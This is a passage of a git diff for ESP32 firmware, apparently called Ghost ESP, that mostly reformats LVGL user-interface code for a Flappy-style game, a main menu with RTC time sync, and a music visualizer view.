-10); // Adjust position as needed + + if (settings.pipe_speed > 3) { + // Create "Retry" label + lv_obj_t *retry_label = lv_label_create(game_over_container); + lv_label_set_text(retry_label, "Tap to Retry"); + lv_obj_set_style_text_color(retry_label, lv_color_hex(0xFFFFFF), 0); + lv_obj_set_style_text_font(retry_label, settings.score_font, 0); + lv_obj_align(retry_label, LV_ALIGN_CENTER, 0, 20); + } + + // Check internet connectivity and submit score if connected + internet_connected = check_internet_connectivity(); + + if (internet_connected) { + submit_score_to_api(settings_get_flappy_ghost_name(&G_Settings), score); + } } // Restart Game Function void flappy_bird_restart() { - is_game_over = false; - bird_y_position = (LV_VER_RES <= 128) ? 3 : (LV_VER_RES / 2); - bird_velocity = 0; - score = 0; - lv_label_set_text_fmt(score_label, "Score: %d", score); - - // Reset bird position - lv_obj_set_pos(bird, LV_HOR_RES / 4, bird_y_position); - - // Reset pipe positions and sizes - for (int i = 0; i < MAX_PIPE_SETS; i++) { - // Reposition pipe off-screen - lv_obj_set_pos(pipes[i].pipe, LV_HOR_RES + i * (LV_HOR_RES / MAX_PIPE_SETS), pipes[i].gap_center_y + pipe_gap); - - // Update gap center position - pipes[i].gap_center_y = rand() % (pipe_max_gap_y - pipe_min_gap_y + 1) + pipe_min_gap_y; - - // Reset pipe size based on new gap center - lv_obj_set_size(pipes[i].pipe, settings.pipe_width, LV_VER_RES - pipes[i].gap_center_y - settings.ground_height); - } - - // Remove the game over overlay if it exists - lv_obj_t *game_over_container = lv_obj_get_child(flappy_bird_view.root, -1); - if (game_over_container) { - lv_obj_del(game_over_container); - } - - // Restart game loop timer if necessary - if (game_loop_timer == NULL) { - game_loop_timer = lv_timer_create(flappy_bird_game_loop, GAME_LOOP_INTERVAL_MS, NULL); - } + is_game_over = false; + bird_y_position = (LV_VER_RES <= 128) ? 3 : (LV_VER_RES / 2); + bird_velocity = 0; + score = 0; + lv_label_set_text_fmt(score_label, "Score: %d", score); + + // Reset bird position + lv_obj_set_pos(bird, LV_HOR_RES / 4, bird_y_position); + + // Reset pipe positions and sizes + for (int i = 0; i < MAX_PIPE_SETS; i++) { + // Reposition pipe off-screen + lv_obj_set_pos(pipes[i].pipe, LV_HOR_RES + i * (LV_HOR_RES / MAX_PIPE_SETS), + pipes[i].gap_center_y + pipe_gap); + + // Update gap center position + pipes[i].gap_center_y = + rand() % (pipe_max_gap_y - pipe_min_gap_y + 1) + pipe_min_gap_y; + + // Reset pipe size based on new gap center + lv_obj_set_size(pipes[i].pipe, settings.pipe_width, + LV_VER_RES - pipes[i].gap_center_y - + settings.ground_height); + } + + // Remove the game over overlay if it exists + lv_obj_t *game_over_container = lv_obj_get_child(flappy_bird_view.root, -1); + if (game_over_container) { + lv_obj_del(game_over_container); + } + + // Restart game loop timer if necessary + if (game_loop_timer == NULL) { + game_loop_timer = + lv_timer_create(flappy_bird_game_loop, GAME_LOOP_INTERVAL_MS, NULL); + } } \ No newline at end of file diff --git a/main/managers/views/main_menu_screen.c b/main/managers/views/main_menu_screen.c index 61c49271..5ed337e4 100644 --- a/main/managers/views/main_menu_screen.c +++ b/main/managers/views/main_menu_screen.c @@ -1,35 +1,33 @@ #include "managers/views/main_menu_screen.h" -#include "managers/views/music_visualizer.h" -#include "managers/views/flappy_ghost_screen.h" -#include "managers/views/app_gallery_screen.h" -#include "managers/settings_manager.h" -#include "esp_wifi_types.h" +#include "esp_log.h" #include "esp_wifi.h" +#include "esp_wifi_types.h" +#include "managers/settings_manager.h" +#include "managers/views/app_gallery_screen.h" +#include "managers/views/flappy_ghost_screen.h" +#include "managers/views/music_visualizer.h" #include -#include "esp_log.h" #ifdef CONFIG_HAS_RTC_CLOCK #include "esp_sntp.h" #include "vendor/drivers/pcf8563.h" #endif #include -static const char* TAG = "MainMenu"; +static const char *TAG = "MainMenu"; lv_obj_t *menu_container; static int selected_item_index = 0; typedef struct { - const char *name; - const lv_img_dsc_t *icon; - lv_color_t border_color; + const char *name; + const lv_img_dsc_t *icon; + lv_color_t border_color; } menu_item_t; -static menu_item_t menu_items[] = { - {"BLE", &bluetooth}, - {"WiFi", &wifi}, - {"GPS", &Map}, - {"Apps", &GESPAppGallery} -}; +static menu_item_t menu_items[] = {{"BLE", &bluetooth}, + {"WiFi", &wifi}, + {"GPS", &Map}, + {"Apps", &GESPAppGallery}}; static int num_items = sizeof(menu_items) / sizeof(menu_items[0]); @@ -42,126 +40,123 @@ RTC_Date current_time; #ifdef CONFIG_HAS_RTC_CLOCK bool wifi_is_connected() { - wifi_ap_record_t ap_info; - if (esp_wifi_sta_get_ap_info(&ap_info) == ESP_OK) { - return true; - } - return false; + wifi_ap_record_t ap_info; + if (esp_wifi_sta_get_ap_info(&ap_info) == ESP_OK) { + return true; + } + return false; } void update_time_label(lv_timer_t *timer) { - extern DisplayManager dm; - - if (xSemaphoreTake(dm.mutex, pdMS_TO_TICKS(MUTEX_TIMEOUT_MS)) == pdTRUE) { - ESP_LOGI(TAG, "Updating time with timezone: %s", G_Settings.selected_timezone); - setenv("TZ", G_Settings.selected_timezone, 1); - tzset(); - xSemaphoreGive(dm.mutex); - - static bool time_synced = false; - - if (wifi_is_connected() && !time_synced) { - ESP_LOGI(TAG, "Internet connection detected, syncing time..."); - - time_t now; - struct tm timeinfo; - time(&now); - localtime_r(&now, &timeinfo); - - if (timeinfo.tm_year >= (2020 - 1900)) { - printf("SNTP time synchronized: %s", asctime(&timeinfo)); - - // Sync RTC with SNTP time - RTC_Date rtc_time = { - .year = timeinfo.tm_year + 1900, - .month = timeinfo.tm_mon + 1, - .day = timeinfo.tm_mday, - .hour = timeinfo.tm_hour, - .minute = timeinfo.tm_min, - .second = timeinfo.tm_sec, - }; - - if (pcf8563_set_datetime(&rtc_time) == ESP_OK) { - printf("RTC successfully synchronized with SNTP\n"); - time_synced = true; // Mark synchronization as completed - } else { - printf("Failed to sync RTC with SNTP\n"); - } - } else { - printf("Failed to synchronize time using SNTP\n"); - } + extern DisplayManager dm; + + if (xSemaphoreTake(dm.mutex, pdMS_TO_TICKS(MUTEX_TIMEOUT_MS)) == pdTRUE) { + ESP_LOGI(TAG, "Updating time with timezone: %s", + G_Settings.selected_timezone); + setenv("TZ", G_Settings.selected_timezone, 1); + tzset(); + xSemaphoreGive(dm.mutex); + + static bool time_synced = false; + + if (wifi_is_connected() && !time_synced) { + ESP_LOGI(TAG, "Internet connection detected, syncing time..."); + + time_t now; + struct tm timeinfo; + time(&now); + localtime_r(&now, &timeinfo); + + if (timeinfo.tm_year >= (2020 - 1900)) { + printf("SNTP time synchronized: %s", asctime(&timeinfo)); + + // Sync RTC with SNTP time + RTC_Date rtc_time = { + .year = timeinfo.tm_year + 1900, + .month = timeinfo.tm_mon + 1, + .day = timeinfo.tm_mday, + .hour = timeinfo.tm_hour, + .minute = timeinfo.tm_min, + .second = timeinfo.tm_sec, + }; + + if (pcf8563_set_datetime(&rtc_time) == ESP_OK) { + printf("RTC successfully synchronized with SNTP\n"); + time_synced = true; // Mark synchronization as completed + } else { + printf("Failed to sync RTC with SNTP\n"); } + } else { + printf("Failed to synchronize time using SNTP\n"); + } + } + if (pcf8563_get_datetime(¤t_time) == ESP_OK) { + char time_str[16]; + int hour = current_time.hour; + const char *period = "AM"; - if (pcf8563_get_datetime(¤t_time) == ESP_OK) { - char time_str[16]; - int hour = current_time.hour; - const char *period = "AM"; - - - if (hour >= 12) { - period = "PM"; - if (hour > 12) { - hour -= 12; - } - } else if (hour == 0) { - hour = 12; - } - + if (hour >= 12) { + period = "PM"; + if (hour > 12) { + hour -= 12; + } + } else if (hour == 0) { + hour = 12; + } - snprintf(time_str, sizeof(time_str), "%02d:%02d %s", - hour, current_time.minute, period); + snprintf(time_str, sizeof(time_str), "%02d:%02d %s", hour, + current_time.minute, period); - - lv_label_set_text(time_label, time_str); - lv_obj_set_pos(time_label, 70, 33); - } - } else { - ESP_LOGW(TAG, "Failed to take mutex for time update"); + lv_label_set_text(time_label, time_str); + lv_obj_set_pos(time_label, 70, 33); } + } else { + ESP_LOGW(TAG, "Failed to take mutex for time update"); + } } #endif - /** - * @brief Combined handler for menu item events using either touchscreen or joystick input. + * @brief Combined handler for menu item events using either touchscreen or + * joystick input. * @param event The input event data (either touch data or button press index). */ static void menu_item_event_handler(InputEvent *event) { - if (event->type == INPUT_TYPE_TOUCH) { - lv_indev_data_t *data = &event->data.touch_data; - int touched_item_index = -1; - - printf("Touch detected at X: %d, Y: %d\n", data->point.x, data->point.y); - - for (int i = 0; i < num_items; i++) { - lv_obj_t *menu_item = (lv_obj_t *)lv_obj_get_child(menu_container, i); - lv_area_t item_area; - lv_obj_get_coords(menu_item, &item_area); - - - printf("Menu item %d area: x1=%d, y1=%d, x2=%d, y2=%d\n", i, item_area.x1, item_area.y1, item_area.x2, item_area.y2); - - - if (data->point.x >= item_area.x1 && data->point.x <= item_area.x2 && - data->point.y >= item_area.y1 && data->point.y <= item_area.y2) { - touched_item_index = i; - break; - } - } + if (event->type == INPUT_TYPE_TOUCH) { + lv_indev_data_t *data = &event->data.touch_data; + int touched_item_index = -1; + printf("Touch detected at X: %d, Y: %d\n", data->point.x, data->point.y); - if (touched_item_index >= 0) { - printf("Touch input detected on menu item: %d\n", touched_item_index); - handle_menu_item_selection(touched_item_index); - } else { - printf("Touch input detected but no menu item found at touch coordinates. X: %d, Y: %d\n", data->point.x, data->point.y); - } + for (int i = 0; i < num_items; i++) { + lv_obj_t *menu_item = (lv_obj_t *)lv_obj_get_child(menu_container, i); + lv_area_t item_area; + lv_obj_get_coords(menu_item, &item_area); + + printf("Menu item %d area: x1=%d, y1=%d, x2=%d, y2=%d\n", i, item_area.x1, + item_area.y1, item_area.x2, item_area.y2); + + if (data->point.x >= item_area.x1 && data->point.x <= item_area.x2 && + data->point.y >= item_area.y1 && data->point.y <= item_area.y2) { + touched_item_index = i; + break; + } + } - } else if (event->type == INPUT_TYPE_JOYSTICK) { - int button = event->data.joystick_index; - handle_hardware_button_press(button); + if (touched_item_index >= 0) { + printf("Touch input detected on menu item: %d\n", touched_item_index); + handle_menu_item_selection(touched_item_index); + } else { + printf("Touch input detected but no menu item found at touch " + "coordinates. X: %d, Y: %d\n", + data->point.x, data->point.y); } + + } else if (event->type == INPUT_TYPE_JOYSTICK) { + int button = event->data.joystick_index; + handle_hardware_button_press(button); + } } /** @@ -169,30 +164,30 @@ static void menu_item_event_handler(InputEvent *event) { * @param item_index The index of the selected menu item. */ static void handle_menu_item_selection(int item_index) { - switch (item_index) { - case 1: - printf("Wi-Fi selected\n"); - SelectedMenuType = OT_Wifi; - display_manager_switch_view(&options_menu_view); - break; - case 0: - printf("BLE selected\n"); - SelectedMenuType = OT_Bluetooth; - display_manager_switch_view(&options_menu_view); - break; - case 2: - printf("GPS selected\n"); - SelectedMenuType = OT_GPS; - display_manager_switch_view(&options_menu_view); - break; - case 3: - printf("Apps View Selected\n"); - display_manager_switch_view(&apps_menu_view); - break; - default: - printf("Unknown menu item selected\n"); - break; - } + switch (item_index) { + case 1: + printf("Wi-Fi selected\n"); + SelectedMenuType = OT_Wifi; + display_manager_switch_view(&options_menu_view); + break; + case 0: + printf("BLE selected\n"); + SelectedMenuType = OT_Bluetooth; + display_manager_switch_view(&options_menu_view); + break; + case 2: + printf("GPS selected\n"); + SelectedMenuType = OT_GPS; + display_manager_switch_view(&options_menu_view); + break; + case 3: + printf("Apps View Selected\n"); + display_manager_switch_view(&apps_menu_view); + break; + default: + printf("Unknown menu item selected\n"); + break; + } } /** @@ -200,29 +195,30 @@ static void handle_menu_item_selection(int item_index) { * @param ButtonPressed The index of the pressed button. */ void handle_hardware_button_press(int ButtonPressed) { - if (ButtonPressed == 0) { - select_menu_item(selected_item_index - 1); - } else if (ButtonPressed == 3) { - select_menu_item(selected_item_index + 1); - } else if (ButtonPressed == 1) { - handle_menu_item_selection(selected_item_index); - } + if (ButtonPressed == 0) { + select_menu_item(selected_item_index - 1); + } else if (ButtonPressed == 3) { + select_menu_item(selected_item_index + 1); + } else if (ButtonPressed == 1) { + handle_menu_item_selection(selected_item_index); + } } /** * @brief Updates the style of the selected and unselected menu items. */ static void update_menu_item_styles(void) { - for (int i = 0; i < num_items; i++) { - lv_obj_t *menu_item = (lv_obj_t *)lv_obj_get_child(menu_container, i); - if (i == selected_item_index) { - lv_obj_set_style_border_color(menu_item, lv_color_make(147, 51, 234), 0); // purple - lv_obj_set_style_border_width(menu_item, 4, 0); - } else { - lv_obj_set_style_border_color(menu_item, menu_items[i].border_color, 0); - lv_obj_set_style_border_width(menu_item, 2, 0); - } + for (int i = 0; i < num_items; i++) { + lv_obj_t *menu_item = (lv_obj_t *)lv_obj_get_child(menu_container, i); + if (i == selected_item_index) { + lv_obj_set_style_border_color(menu_item, lv_color_make(147, 51, 234), + 0); // purple + lv_obj_set_style_border_width(menu_item, 4, 0); + } else { + lv_obj_set_style_border_color(menu_item, menu_items[i].border_color, 0); + lv_obj_set_style_border_width(menu_item, 2, 0); } + } } /** @@ -230,142 +226,144 @@ static void update_menu_item_styles(void) { * @param index The index of the menu item to select. */ static void select_menu_item(int index) { - if (index < 0) index = num_items - 1; - if (index >= num_items) index = 0; + if (index < 0) + index = num_items - 1; + if (index >= num_items) + index = 0; - selected_item_index = index; - update_menu_item_styles(); + selected_item_index = index; + update_menu_item_styles(); } /** * @brief Creates the main menu screen view. */ -void main_menu_create(void) { - menu_items[0].border_color = lv_color_make(178, 34, 34); - menu_items[1].border_color = lv_color_make(178, 34, 34); - menu_items[2].border_color = lv_color_make(178, 34, 34); - menu_items[3].border_color = lv_color_make(178, 34, 34); - - display_manager_fill_screen(lv_color_black()); - - static lv_coord_t col_dsc[] = {LV_GRID_FR(1), LV_GRID_FR(1), LV_GRID_FR(1), LV_GRID_TEMPLATE_LAST}; - static lv_coord_t row_dsc[] = {LV_GRID_FR(1), LV_GRID_FR(1), LV_GRID_FR(1), LV_GRID_TEMPLATE_LAST}; - - menu_container = lv_obj_create(lv_scr_act()); - main_menu_view.root = menu_container; - lv_obj_set_grid_dsc_array(menu_container, col_dsc, row_dsc); - lv_obj_set_size(menu_container, LV_HOR_RES, LV_VER_RES); - lv_obj_set_scrollbar_mode(menu_container, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_style_pad_column(menu_container, 10, 0); - lv_obj_set_style_bg_opa(menu_container, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(menu_container, 0, 0); - lv_obj_set_style_pad_all(menu_container, 0, 0); - lv_obj_set_style_radius(menu_container, 0, 0); - - lv_obj_align(menu_container, LV_ALIGN_BOTTOM_MID, 0, 0); - - - lv_disp_t *disp = lv_disp_get_default(); - int hor_res = lv_disp_get_hor_res(disp); - int ver_res = lv_disp_get_ver_res(disp); - - int button_width = hor_res / 4; - int button_height = ver_res / 3; - - int icon_width = 50; - int icon_height = 50; - - const lv_font_t *font; - if (ver_res <= 128) { - font = &lv_font_montserrat_10; - } else if (ver_res <= 240) { - font = &lv_font_montserrat_16; - } else { - font = &lv_font_montserrat_18; +void main_menu_create(void) { + menu_items[0].border_color = lv_color_make(178, 34, 34); + menu_items[1].border_color = lv_color_make(178, 34, 34); + menu_items[2].border_color = lv_color_make(178, 34, 34); + menu_items[3].border_color = lv_color_make(178, 34, 34); + + display_manager_fill_screen(lv_color_black()); + + static lv_coord_t col_dsc[] = {LV_GRID_FR(1), LV_GRID_FR(1), LV_GRID_FR(1), + LV_GRID_TEMPLATE_LAST}; + static lv_coord_t row_dsc[] = {LV_GRID_FR(1), LV_GRID_FR(1), LV_GRID_FR(1), + LV_GRID_TEMPLATE_LAST}; + + menu_container = lv_obj_create(lv_scr_act()); + main_menu_view.root = menu_container; + lv_obj_set_grid_dsc_array(menu_container, col_dsc, row_dsc); + lv_obj_set_size(menu_container, LV_HOR_RES, LV_VER_RES); + lv_obj_set_scrollbar_mode(menu_container, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_style_pad_column(menu_container, 10, 0); + lv_obj_set_style_bg_opa(menu_container, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(menu_container, 0, 0); + lv_obj_set_style_pad_all(menu_container, 0, 0); + lv_obj_set_style_radius(menu_container, 0, 0); + + lv_obj_align(menu_container, LV_ALIGN_BOTTOM_MID, 0, 0); + + lv_disp_t *disp = lv_disp_get_default(); + int hor_res = lv_disp_get_hor_res(disp); + int ver_res = lv_disp_get_ver_res(disp); + + int button_width = hor_res / 4; + int button_height = ver_res / 3; + + int icon_width = 50; + int icon_height = 50; + + const lv_font_t *font; + if (ver_res <= 128) { + font = &lv_font_montserrat_10; + } else if (ver_res <= 240) { + font = &lv_font_montserrat_16; + } else { + font = &lv_font_montserrat_18; + } + + for (int i = 0; i < num_items; i++) { + lv_obj_t *menu_item = lv_btn_create(menu_container); + lv_obj_set_size(menu_item, button_width, button_height); + lv_obj_set_style_bg_color(menu_item, lv_color_black(), 0); + lv_obj_set_style_border_color(menu_item, menu_items[i].border_color, 0); + lv_obj_set_style_border_width(menu_item, 2, 0); + lv_obj_set_style_radius(menu_item, 10, 0); + lv_obj_set_scrollbar_mode(menu_item, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_style_pad_all(menu_item, 5, 0); + + if (ver_res >= 240) // Dont create icons for smaller screens + { + if (menu_items[i].icon) { + lv_obj_t *icon = lv_img_create(menu_item); + lv_img_set_src(icon, menu_items[i].icon); + lv_obj_set_size(icon, icon_width, icon_height); + lv_obj_align(icon, LV_ALIGN_TOP_MID, 0, 0); + + // Pure black shadow + lv_obj_set_style_shadow_width(icon, 8, 0); + lv_obj_set_style_shadow_color(icon, lv_color_make(0, 0, 0), + 0); // Pure black + lv_obj_set_style_shadow_ofs_x(icon, 2, 0); + lv_obj_set_style_shadow_ofs_y(icon, 2, 0); + } } + lv_obj_t *label = lv_label_create(menu_item); + lv_label_set_text(label, menu_items[i].name); + lv_obj_set_style_text_font(label, font, 0); - for (int i = 0; i < num_items; i++) { - lv_obj_t *menu_item = lv_btn_create(menu_container); - lv_obj_set_size(menu_item, button_width, button_height); - lv_obj_set_style_bg_color(menu_item, lv_color_black(), 0); - lv_obj_set_style_border_color(menu_item, menu_items[i].border_color, 0); - lv_obj_set_style_border_width(menu_item, 2, 0); - lv_obj_set_style_radius(menu_item, 10, 0); - lv_obj_set_scrollbar_mode(menu_item, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_style_pad_all(menu_item, 5, 0); - - if (ver_res >= 240) // Dont create icons for smaller screens - { - if (menu_items[i].icon) - { - lv_obj_t *icon = lv_img_create(menu_item); - lv_img_set_src(icon, menu_items[i].icon); - lv_obj_set_size(icon, icon_width, icon_height); - lv_obj_align(icon, LV_ALIGN_TOP_MID, 0, 0); - - // Pure black shadow - lv_obj_set_style_shadow_width(icon, 8, 0); - lv_obj_set_style_shadow_color(icon, lv_color_make(0, 0, 0), 0); // Pure black - lv_obj_set_style_shadow_ofs_x(icon, 2, 0); - lv_obj_set_style_shadow_ofs_y(icon, 2, 0); - } - } - - - lv_obj_t *label = lv_label_create(menu_item); - lv_label_set_text(label, menu_items[i].name); - lv_obj_set_style_text_font(label, font, 0); - - lv_obj_align(label, LV_ALIGN_BOTTOM_MID, 0, 0); - lv_obj_set_style_text_color(label, lv_color_white(), 0); + lv_obj_align(label, LV_ALIGN_BOTTOM_MID, 0, 0); + lv_obj_set_style_text_color(label, lv_color_white(), 0); - int row_idx = 2 - (i / 3); // This reverses the row placement - lv_obj_set_grid_cell(menu_item, LV_GRID_ALIGN_CENTER, i % 3, 1, LV_GRID_ALIGN_END, row_idx, 1); - - lv_obj_set_user_data(menu_item, (void *)(uintptr_t)i); - } + int row_idx = 2 - (i / 3); // This reverses the row placement + lv_obj_set_grid_cell(menu_item, LV_GRID_ALIGN_CENTER, i % 3, 1, + LV_GRID_ALIGN_END, row_idx, 1); + lv_obj_set_user_data(menu_item, (void *)(uintptr_t)i); + } #ifdef CONFIG_HAS_RTC_CLOCK - time_label = lv_label_create(lv_scr_act()); - lv_label_set_text(time_label, "00:00:00"); - lv_obj_set_style_text_color(time_label, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); - lv_obj_set_style_text_font(time_label, &lv_font_montserrat_24, 0); - lv_obj_set_pos(time_label, 70, 33); - - // Create a timer to update the time label every second - time_update_timer = lv_timer_create(update_time_label, 100, NULL); - lv_timer_ready(time_update_timer); + time_label = lv_label_create(lv_scr_act()); + lv_label_set_text(time_label, "00:00:00"); + lv_obj_set_style_text_color( + time_label, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), + 0); + lv_obj_set_style_text_font(time_label, &lv_font_montserrat_24, 0); + lv_obj_set_pos(time_label, 70, 33); + + // Create a timer to update the time label every second + time_update_timer = lv_timer_create(update_time_label, 100, NULL); + lv_timer_ready(time_update_timer); #endif - #ifndef CONFIG_USE_TOUCHSCREEN - select_menu_item(0); + select_menu_item(0); #endif - display_manager_add_status_bar(LV_VER_RES > 320 ? "Main Menu" : "Menu"); + display_manager_add_status_bar(LV_VER_RES > 320 ? "Main Menu" : "Menu"); } /** * @brief Destroys the main menu screen view. */ void main_menu_destroy(void) { - if (menu_container) { - lv_obj_clean(menu_container); - lv_obj_del(menu_container); - menu_container = NULL; - } - - if (time_update_timer) { - lv_timer_del(time_update_timer); - lv_obj_del(time_label); - time_update_timer = NULL; - } + if (menu_container) { + lv_obj_clean(menu_container); + lv_obj_del(menu_container); + menu_container = NULL; + } + + if (time_update_timer) { + lv_timer_del(time_update_timer); + lv_obj_del(time_label); + time_update_timer = NULL; + } } void get_main_menu_callback(void **callback) { - *callback = main_menu_view.input_callback; + *callback = main_menu_view.input_callback; } /** diff --git a/main/managers/views/music_visualizer.c b/main/managers/views/music_visualizer.c index d6695397..8e5570aa 100644 --- a/main/managers/views/music_visualizer.c +++ b/main/managers/views/music_visualizer.c @@ -3,22 +3,22 @@ #include #include #include -#include +#include #define NUM_PARTICLES 5 -#define ANIMATION_INTERVAL_MS 5 // Approximately 30 FPS +#define ANIMATION_INTERVAL_MS 5 // Approximately 30 FPS lv_timer_t *animation_timer = NULL; typedef struct { - lv_obj_t *obj; - int x; // Current x position - int y; // Current y position - int velocity; // Horizontal velocity + lv_obj_t *obj; + int x; // Current x position + int y; // Current y position + int velocity; // Horizontal velocity } Particle; typedef struct { - int bars[NUM_BARS]; // Amplitude data for each bar + int bars[NUM_BARS]; // Amplitude data for each bar } AmplitudeData; Particle particles[NUM_PARTICLES]; @@ -30,18 +30,18 @@ int target_amplitudes[NUM_BARS] = {0}; int current_amplitudes[NUM_BARS] = {0}; void handle_hardware_input_music_callback(InputEvent *event) { - if (event->type == INPUT_TYPE_TOUCH) { - display_manager_switch_view(&main_menu_view); - } else if (event->type == INPUT_TYPE_JOYSTICK) { - int button = event->data.joystick_index; - if (button == 1) { - display_manager_switch_view(&main_menu_view); - } + if (event->type == INPUT_TYPE_TOUCH) { + display_manager_switch_view(&main_menu_view); + } else if (event->type == INPUT_TYPE_JOYSTICK) { + int button = event->data.joystick_index; + if (button == 1) { + display_manager_switch_view(&main_menu_view); } + } } void get_music_visualizer_callback(void **callback) { - *callback = music_visualizer_view.input_callback; + *callback = music_visualizer_view.input_callback; } View music_visualizer_view = { @@ -50,140 +50,151 @@ View music_visualizer_view = { .destroy = music_visualizer_destroy, .input_callback = handle_hardware_input_music_callback, .name = "Music Visualizer", - .get_hardwareinput_callback = get_music_visualizer_callback -}; + .get_hardwareinput_callback = get_music_visualizer_callback}; void animation_timer_callback(lv_timer_t *timer); void music_visualizer_view_create() { - display_manager_fill_screen(lv_color_black()); - - root = lv_obj_create(lv_scr_act()); - music_visualizer_view.root = root; - lv_obj_set_style_bg_color(music_visualizer_view.root, lv_color_black(), LV_PART_MAIN); - lv_obj_set_size(music_visualizer_view.root, LV_HOR_RES, LV_VER_RES); - lv_obj_set_scrollbar_mode(music_visualizer_view.root, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_style_pad_column(music_visualizer_view.root, LV_HOR_RES / 24, 0); - lv_obj_set_style_bg_opa(music_visualizer_view.root, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(music_visualizer_view.root, 0, 0); - lv_obj_set_style_pad_all(music_visualizer_view.root, 0, 0); - lv_obj_set_style_radius(music_visualizer_view.root, 0, 0); - - const lv_font_t *track_label_font; - const lv_font_t *artist_label_font; - - if (LV_HOR_RES <= 128) { - track_label_font = &lv_font_montserrat_12; - artist_label_font = &lv_font_montserrat_10; - } else if (LV_HOR_RES <= 240) { - track_label_font = &lv_font_montserrat_16; - artist_label_font = &lv_font_montserrat_12; - } else { - track_label_font = &lv_font_montserrat_24; - artist_label_font = &lv_font_montserrat_16; - } - - int label_x_offset = LV_HOR_RES / 12; - int label_y_offset = LV_VER_RES / 8; - int bar_width = LV_HOR_RES / (NUM_BARS * 2); - int bar_spacing = LV_HOR_RES / (NUM_BARS + 2); - int bar_y_offset = LV_VER_RES / 4; - - view.track_label = lv_label_create(music_visualizer_view.root); - lv_label_set_text(view.track_label, "Ghost ESP"); - lv_obj_set_style_text_font(view.track_label, track_label_font, LV_PART_MAIN); - lv_obj_set_style_text_color(view.track_label, lv_color_white(), LV_PART_MAIN); - lv_obj_align(view.track_label, LV_ALIGN_BOTTOM_LEFT, label_x_offset, -label_y_offset); + display_manager_fill_screen(lv_color_black()); + + root = lv_obj_create(lv_scr_act()); + music_visualizer_view.root = root; + lv_obj_set_style_bg_color(music_visualizer_view.root, lv_color_black(), + LV_PART_MAIN); + lv_obj_set_size(music_visualizer_view.root, LV_HOR_RES, LV_VER_RES); + lv_obj_set_scrollbar_mode(music_visualizer_view.root, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_style_pad_column(music_visualizer_view.root, LV_HOR_RES / 24, 0); + lv_obj_set_style_bg_opa(music_visualizer_view.root, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(music_visualizer_view.root, 0, 0); + lv_obj_set_style_pad_all(music_visualizer_view.root, 0, 0); + lv_obj_set_style_radius(music_visualizer_view.root, 0, 0); + + const lv_font_t *track_label_font; + const lv_font_t *artist_label_font; + + if (LV_HOR_RES <= 128) { + track_label_font = &lv_font_montserrat_12; + artist_label_font = &lv_font_montserrat_10; + } else if (LV_HOR_RES <= 240) { + track_label_font = &lv_font_montserrat_16; + artist_label_font = &lv_font_montserrat_12; + } else { + track_label_font = &lv_font_montserrat_24; + artist_label_font = &lv_font_montserrat_16; + } + + int label_x_offset = LV_HOR_RES / 12; + int label_y_offset = LV_VER_RES / 8; + int bar_width = LV_HOR_RES / (NUM_BARS * 2); + int bar_spacing = LV_HOR_RES / (NUM_BARS + 2); + int bar_y_offset = LV_VER_RES / 4; + + view.track_label = lv_label_create(music_visualizer_view.root); + lv_label_set_text(view.track_label, "Ghost ESP"); + lv_obj_set_style_text_font(view.track_label, track_label_font, LV_PART_MAIN); + lv_obj_set_style_text_color(view.track_label, lv_color_white(), LV_PART_MAIN); + lv_obj_align(view.track_label, LV_ALIGN_BOTTOM_LEFT, label_x_offset, + -label_y_offset); + + view.artist_label = lv_label_create(music_visualizer_view.root); + lv_label_set_text(view.artist_label, "Spooky"); + lv_obj_set_style_text_font(view.artist_label, artist_label_font, + LV_PART_MAIN); + lv_obj_set_style_text_color(view.artist_label, lv_color_white(), + LV_PART_MAIN); + lv_obj_align_to(view.artist_label, view.track_label, LV_ALIGN_OUT_BOTTOM_LEFT, + 0, lv_font_get_line_height(track_label_font) / 4); + + for (int i = 0; i < NUM_BARS; i++) { + view.bars[i] = lv_obj_create(music_visualizer_view.root); + lv_obj_set_size(view.bars[i], bar_width, 1); + lv_obj_align(view.bars[i], LV_ALIGN_BOTTOM_LEFT, + label_x_offset + (bar_spacing * i), -bar_y_offset); + + lv_obj_set_style_radius(view.bars[i], 0, LV_PART_MAIN); + lv_obj_set_style_bg_opa(view.bars[i], LV_OPA_COVER, LV_PART_MAIN); + lv_obj_set_style_bg_color(view.bars[i], lv_color_make(147, 112, 219), + LV_PART_MAIN); + lv_obj_set_style_bg_grad_color(view.bars[i], lv_color_make(147, 112, 219), + LV_PART_MAIN); + lv_obj_set_style_bg_grad_dir(view.bars[i], LV_GRAD_DIR_VER, LV_PART_MAIN); + } + + for (int i = 0; i < NUM_PARTICLES; i++) { + particles[i].obj = lv_obj_create(music_visualizer_view.root); + lv_obj_set_size(particles[i].obj, 1, 1); + lv_obj_set_style_radius(particles[i].obj, LV_RADIUS_CIRCLE, LV_PART_MAIN); + lv_obj_set_style_bg_color(particles[i].obj, lv_color_white(), LV_PART_MAIN); + particles[i].x = 0; + particles[i].y = rand() % LV_VER_RES; + particles[i].velocity = 1 + rand() % 3; + lv_obj_align(particles[i].obj, LV_ALIGN_TOP_LEFT, particles[i].x, + particles[i].y); + } + + display_manager_add_status_bar(LV_VER_RES > 320 ? "Rave Mode" : "Rave"); + + amplitudeQueue = xQueueCreate(10, sizeof(AmplitudeData)); + animation_timer = + lv_timer_create(animation_timer_callback, ANIMATION_INTERVAL_MS, NULL); +} - view.artist_label = lv_label_create(music_visualizer_view.root); - lv_label_set_text(view.artist_label, "Spooky"); - lv_obj_set_style_text_font(view.artist_label, artist_label_font, LV_PART_MAIN); - lv_obj_set_style_text_color(view.artist_label, lv_color_white(), LV_PART_MAIN); - lv_obj_align_to(view.artist_label, view.track_label, LV_ALIGN_OUT_BOTTOM_LEFT, 0, lv_font_get_line_height(track_label_font) / 4); +void animation_timer_callback(lv_timer_t *timer) { + AmplitudeData amplitudeData; + bool dataAvailable = + xQueueReceive(amplitudeQueue, &litudeData, 0) == pdTRUE; + if (dataAvailable) { for (int i = 0; i < NUM_BARS; i++) { - view.bars[i] = lv_obj_create(music_visualizer_view.root); - lv_obj_set_size(view.bars[i], 